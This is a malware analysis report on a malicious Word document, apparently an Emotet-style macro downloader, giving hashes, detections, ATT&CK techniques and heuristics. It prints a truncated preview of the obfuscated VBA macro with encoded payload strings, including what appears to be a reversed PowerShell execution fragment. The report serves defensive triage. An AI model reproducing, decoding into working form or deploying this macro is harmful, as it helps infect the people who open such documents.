Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bad62e4e202d5359…

MALICIOUS

Office (OLE)

160.5 KB Created: 2018-03-21 20:26:00 Authoring application: Microsoft Office Word First seen: 2018-09-04
MD5: d62dbf8e3ecdc50e02628b119872c67d SHA-1: eb190ee517b585442be061dc345ddb2c48d16d23 SHA-256: bad62e4e202d5359edfbf7e72f9fa038db6472e9664090fe1c9685dbf48041e2
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Code

The sample is a malicious Microsoft Office document containing a VBA macro. The 'AutoOpen' macro is present and uses 'CreateObject', indicating an attempt to execute code. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly suggest this document is a downloader for a second-stage payload, likely using obfuscation techniques as indicated by the 'Long encoded blob' heuristic.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44435 bytes
SHA-256: 1c34c8b5a395484c0e07d3defa7b5ae1c85a534b73502488d998d177c56b9750
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 18 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vTnACJGnudBl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MzmOzAPcBMKMKU"
Function qSInVIhRAfq()
On Error Resume Next
Select Case IWmas
         Case 44823
            ClmEi = Hex(69430 - CSng(57735) - 78604 + ChrW(uHYOmi))
            Dvulzz = TNpYV
End Select
NkjqlQfE = bGabtQ("7B8IDAkBANAADAwAgZAYGAhBwNAEDAmBQOAQDAxAAMAEDAlBwMAYDAiBAZAMDA2AQOAADAiBgZAUGAwAgMAADAlBQYAhhwfN", 6, 88)
Select Case UsUwQ
         Case 3521
            wtaao = Hex(82418 - CSng(60497) - 41511 + ChrW(tzbiii))
            zmGCOT = sLIfZC
End Select
Select Case tMCuXM
         Case 32891
            AffwPJ = Hex(36151 - CSng(58245) - 48425 + ChrW(OGbTS))
            VYAUf = XOKhHb
End Select
POCauUphiXS = bGabtQ("m55XnOAIDAkBwMAMDA5AQZAMDAhBAMAkDAiBAZAEDA0AgYAMDAkBgZAYGA4AwMAMGAjBQMAYDAwAQNAUDAwAgMAMGA2DlM", 4, 86)
Select Case WqaUAP
         Case 50883
            HBnuD = Hex(51505 - CSng(85232) - 48861 + ChrW(IZtfYw))
            wwXIR = iBrsCQ
End Select
Select Case fWpMo
         Case 19407
            uaSCM = Hex(97285 - CSng(16758) - 17709 + ChrW(oPVYBF))
            YZjRHb = SHJOtp
End Select
nhiIbPz = bGabtQ("LaUQ)''NIoj-]2,11,3[eman.)'*rdm*' eLBAIRaV-TEgGP6", 4, 42)
Select Case NGuIbq
         Case 22858
            rwiDG = Hex(6206 - CSng(44071) - 92529 + ChrW(zZfRnI))
            KTjzvC = PTqaJa
End Select
Select Case WrrJT
         Case 15808
            DtXbs = Hex(52401 - CSng(3071) - 92870 + ChrW(GEjiL))
            vmucV = uflzzj
End Select
HqEvj = bGabtQ("J0EGIAgNAYGAxAgZAUDA2AQYAIGAsid", 4, 23)
Select Case haJmKt
         Case 82121
            qsLmj = Hex(87798 - CSng(63977) - 67830 + ChrW(dtJOw))
            PqmcJ = ldtuM
End Select
Select Case ttLNuZ
         Case 78521
            sAEiUh = Hex(1660 - CSng(73816) - 64845 + ChrW(KpBJs))
            PCdGiH = wrotk
End Select
itNvLSH = bGabtQ(".LDAjBANAQGAjBwNAgDA0AQMAcDAlBANAgDAkBwNAYGt6E1JXw", 8, 41)
Select Case qbXiC
         Case 58379
            amdnUb = Hex(55178 - CSng(58406) - 2788 + ChrW(hkBjz))
            wiClpG = joQlro
End Select
Select Case QWACn
         Case 1270
            wXTXZ = Hex(73320 - CSng(71428) - 8489 + ChrW(iUZrpq))
            PjLTb = AcFYa
End Select
qABHzIJ = bGabtQ("j3pDAyAgNAQDAlBAOAQGAhBANAQDA2AQOAYDAhBQOAMGA3AAOAQDAjBgNAIDAy 6D", 4, 59)
Select Case oNzziY
         Case 66634
            YJrHF = Hex(56807 - CSng(5426) - 82046 + ChrW(CBjaIk))
            bhkfX = RALwQW
End Select
Select Case wuzhA
         Case 71952
            idMbZ = Hex(56482 - CSng(73806) - 94543 + ChrW(VCZjJ))
            iQNCk = QWpHJ
End Select
ZlGDzahErt = bGabtQ("IEMAQDA2AgZAUGAiBQZAADAlBQMAEGA5AgZAQGA5AANAQGAxAgYAUDAiBgMAQGA5AAOAADA3AgYAMDA1AgNAEGA4AQMAEGAiBQNAADAzAQYAEGAlBQZAEGA1AgMAEDAmBgYAIDA1AwMAYGA2fEi1", 5, 142)
Select Case zOCIi
         Case 34517
            ajmjjG = Hex(90293 - CSng(12428) - 41003 + ChrW(mopDi))
            hTzAJ = GXUPG
End Select
Select Case mcAXnX
         Case 4534
            FUlWvK = Hex(41526 - CSng(27255) - 68213 + ChrW(XkYpUs))
            kZXFbb = NhPTlw
End Select
AXVbquDW = bGabtQ("7ZtAUDAzAQNAIGAzGAIwn", 6, 13)
Select Case RVLlCq
         Case 68542
            NthAlM = Hex(15748 - CSng(26963) - 92743 + ChrW(IiCzf))
            dtwJN = CckBGO
End Select
Select Case pkFEUW
         Case 57615
            BGvYSV = Hex(46429 - CSng(89401) - 63289 + ChrW(zaqPiq))
            BsaBVb = ZFirrE
End Select
hdhGzsjjdH = bGabtQ("FpuhGAkBAMAYDAmBgNAIGAzAgYAMGAwAQZAADAmBgZAEGAzAQOAUGA5AgNAUGAzAANAYGA5AwNAMGAxAAMAQDAmBAMAcDAwAwYAUDAmBwNAgDAzAQNAUDA2AAZAIDA4AgZAMGAxAwYAMDAmBAMAADAkBQMAUDAmBgZAEDAiBQZAYDAzAgZAcDA4AQNAYDA1AgNAIGAiBANA5YSI", 5, 198)
Select Case IwGkMQ
         Case 63466
            pvjob = Hex(79886 - CSng(21817) - 84060 + ChrW(CPGSd))
            nffOw = njDcG
End Select
Select Cas
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.